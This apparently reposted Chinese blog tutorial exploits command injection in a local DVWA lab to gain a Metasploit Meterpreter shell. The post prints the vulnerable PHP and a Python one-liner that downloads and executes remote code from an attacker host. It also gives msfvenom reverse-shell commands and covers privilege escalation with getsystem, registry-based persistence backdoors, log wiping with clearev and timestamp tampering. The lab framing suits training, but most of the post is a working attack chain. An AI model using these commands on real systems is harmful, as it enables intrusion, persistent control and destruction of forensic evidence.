浅谈命令注入漏洞获取目标Shell并提到最高权限 – 作者:bosounho

MSF攻击Windows实验三种姿势:

方法一 :通过web站点,使用无文件的方式攻击利用执行
方法二:通过web站点,上传webshell, 返回给msf
方法三:攻击其他端口服务,拿到meterpreter

信息收集-Nmap端口扫描

信息收集总在前

root@kali:~# nmap -sV -T4 xxx.xxx.xxx.xxx
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 10:46 CST
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 – 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysq! MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:0D:E5:D0 (VMware)
Service Info: Host: LISIANTHUS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

通过扫描,得知开启了80端口,HTTP超文本协议,那么可以用浏览器来访问该IP。访问到我是在本机部署的DVWA靶场。萌新做实验,将DVWA Security等级设置为low。
键入用户名密码进入靶场后,进入Command Injection命令注入练习,ping设备,输入ping的设备(我ping的本机),等待片刻,出信息

1608016183_5fd86137b3cc5edb9847b.png!small?1608016183391

源码分析

在右下方有一个view source按钮,点击查看页面源码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

其中$_REQUEST[ ‘ip’ ]中的变量IP是我们输入的IP地址
php_uname( ‘s’ ), ‘Windows NT’ )后台判断操作系统是否为Windows NT(即Windows操作系统)
shell_exec( ‘ping ‘ . $target )如果是,执行ping target,
如果时Linux or Unix,执行’ping -c 4 ‘ . $target,指定次数,因为Unix的ping如果不给出数值会一直ping下去。
此处查看源码发现没有对IP地址设置过滤或其他封装,此处可以搞一个命令拼接,命令执行漏洞来测试:

1608016741_5fd8636587cd36f2471a7.png!small?1608016741214

成功查看到主机名,命令拼接执行成功。

有关系么?

那么如何利用命令执行漏洞获得目标机器的控制权限呢?
当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时, web_ delivery就派 上用场。
web_ delivery的主要目的是快速和受害者主机建立一条session。 当受害者主机存在比如命令注入、远、程命令执行等问题时,攻击者可以使用web_ delivery生成的一 条命令建立连接。
另外web_ delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载
到内存执行,有利于绕过检测。
web_ delivery支持php/ python/powershell等多种脚本,使用不同的脚本的payload时需要通过set
target 0或1或2来设置是使用php还是python还是powershell等。

web_delivery

1608016807_5fd863a792f58bd1ad410.png!small?1608016807200

获得msf5>shell之后 执行use exploit/multi/script/web_delivery使用web_delivery模块,查看配置项show options

1608016980_5fd8645428fb3fb69c5d8.png!small?1608016979911

通过查看配置项可以看到此处默认的payload是利用Python反弹tcp-shell,可以修改payload,也可以修改target,本次实验使用默认的Python,执行show targets列出target支持对哪些目标的反弹shell:

1608016930_5fd86422c70eabf505df8.png!small?1608016930470

PSH即powershell,可以简单理解为它是一个经过.NET的一个拓展的、比cmd更强大的shell,PSH可以利用.NET的漏洞库进行很多操作

set:lhost&lport

设置lhost(攻击机的IP,也就是本机啦,但是这里不要写回环地址127.0.0.1,要写IPv4地址)
和lport(攻击机用来监听的端口号)
对这两个参数的详细说明可以参考我的上一篇博客

1608017038_5fd8648e13f4b0ac1cefe.png!small?1608017037912

RUN!!!

run跑起来1608017067_5fd864ab7ff90106efb2d.png!small?1608017067191

由于上面我们一直知道DVWA的Command Injection中可以命令拼接,也就是存在命令执行漏洞,run之后的target machine给到的一个Python开头这一串东西就是用于命令注入的payload。
这里要注意一下,既然我们使用的是Python的payload那一定要这个网站机器上有Python环境,如果没有也没关系,上面的show targets列出target中可以看到web_delivery支持好多种脚本语言。
不妨尝试一下PSH的payload,但如果是要攻击Win XP系统、2003系统,使用PSH是不行的,因为他们两个不具备power shell,这里要留意下下咯。
在自己练习中,可以去python官网下载python2级以上版本https://www.python.org/downloads/release/python-272/

msfvenom生成payload

msfvenom可以用来生成Linux的ELF文件、Windows的PE文件(.exe)、web可执行文件php和Python可执行文件.py。
linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< Target IP Address> LPORT= -f elf > shell.elf
windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
php:
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST= < Your IP Address> LPORT= -f raw > shell.py

后渗透阶段

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.2.113.13:8080/Ws25Ghl', context=ssl._create_unverified_context());exec(r.read());"

将其复制,将原先我们手动测试是执行的127.0.0.1&&whoami中的whoami替换为上面生成的payload。

1608017504_5fd866603991a7a3b963f.png!small?1608017503940

执行,等待片刻,攻击机端发现一个请求连接的机器,编号为1(session1)

1608017586_5fd866b20b068c4086554.png!small?1608017585909

获取到 Meterpreter

可执行sysinfo查看靶机的设备信息。

1608017839_5fd867af7c8e7737f1d5a.png!small?1608017839158

执行shell可获得靶机的shellu权限;
查看IP ,确认是否为目标靶机的信息:

1608017864_5fd867c8731338dd926f6.png!small?1608017864337

最终执行getsystem通过各种攻击向量,将shell提升到系统用户权限。

后门持久化

权限维持
Persistence模块
我们先看一下Persistence模块信息:
Run persistence -h//查看帮助信息;
run persistence -U -i 5 -p 5555 -r 192.168.205.148
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。

痕迹清除

在渗透入侵的过程中难免会留下一下日志信息痕迹,我们可以使用此命令来擦除留下的痕迹:

clearev这个命令是最直接的删除日志的命令。

运行命令后目标主机上面的日志会全部删除。

后渗透阶段的常用命令总结

ls列出目标主机的文件和文件夹信息
use priv加载特权提升扩展模块,来扩展meterpreter库
ps显示所有运行进程以及关联的用户账户
getsystem通过各种攻击向量来提升到系统用户权限
shell以所有可用令牌来运行一个交互的shell
screenshot对目标主机的屏幕进行截图
upload file向目标主机上传文件
download file从目标主机下载文件
sniffer_interfaces列出目标主机所有开放的网络接口
sniffer_dump interfaceID pcapname在目标主机上启动嗅探
sniffer_start interfaceID packet_buffer在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_stats interfaceID获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID停止嗅探
add_user username password -h ip在远程目标主机上添加一个用户
add_group_user “Domain Adimins”username -h ip将用户添加到目标主机的域管理员组中
clearev清除目标主机上的日志记录
timestomp修改文件属性,例如修改文件的创建时间(反取证调差)
reboot重启目标主机

来源:freebuf.com 2020-12-15 15:52:45 by: bosounho

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论